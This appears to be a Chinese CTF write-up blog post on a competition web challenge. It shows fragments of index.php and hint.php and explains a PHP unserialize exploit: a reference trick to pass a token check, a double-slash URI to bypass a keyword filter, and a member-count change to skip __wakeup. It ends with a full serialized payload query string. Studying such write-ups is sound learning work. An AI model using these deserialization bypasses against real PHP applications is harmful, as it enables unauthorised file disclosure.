index.php的源码
';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
hint.php的源码
$v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}class Flag{
public $file="flag.php";
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
} public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
【国赛web1的小结】看了writeup,人家将hint.php的代码复制到本地,然后稍做修改了一下,人家在Flag类里面的构造函数又多加了一行
$this->token = &$this->token_flag;
使用了引用,这样下面比较的时候就相等了(人家是真的强QAQ,自己还是太菜了)。
然后序列化一下得到结果。这个时候还不能提交还要稍作修改,要绕过下面代码
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$_SERVER[‘REQUEST_URI’]是获得host后面的值,也就是返回.com后面的值。这个时候如何绕过呢,当前面只有一个/的时候会正常解析,当有两个/的时候就会返回flase,利用这个绕过。
还有一点也要绕过就是Handel类里面的wakeup函数,这个只需要在序列化后 成员函数的数目改大就可以了。//?file=hint.php&payload=O:6:”Handle”:2:{s:14:”%00Handle%00handle”; O:4:”Flag”:3:{s:4:”file”; s:8:”flag.php”; s:5:”token”; s:32:”b77375f945f272a2084c0119c871c13c”; s:10:”token_flag”; R:4; }}
推荐阅读
- 解护网杯一道web(EasyChallenge)
- ctf|ctf-htctf-misc
- C++|一些关于程序内存布局的问题
- QCTF 2018xman夏令营选拔赛
- 第一届桂林电子科技大学绿盟杯CTF大赛 wp
- Capture the flag
- CTF|BUUOJ [2019红帽杯]easyRE
- Buuctf -web wp汇总(二)
- #|CTF-网络信息安全攻防学习平台(脚本关)
- ctf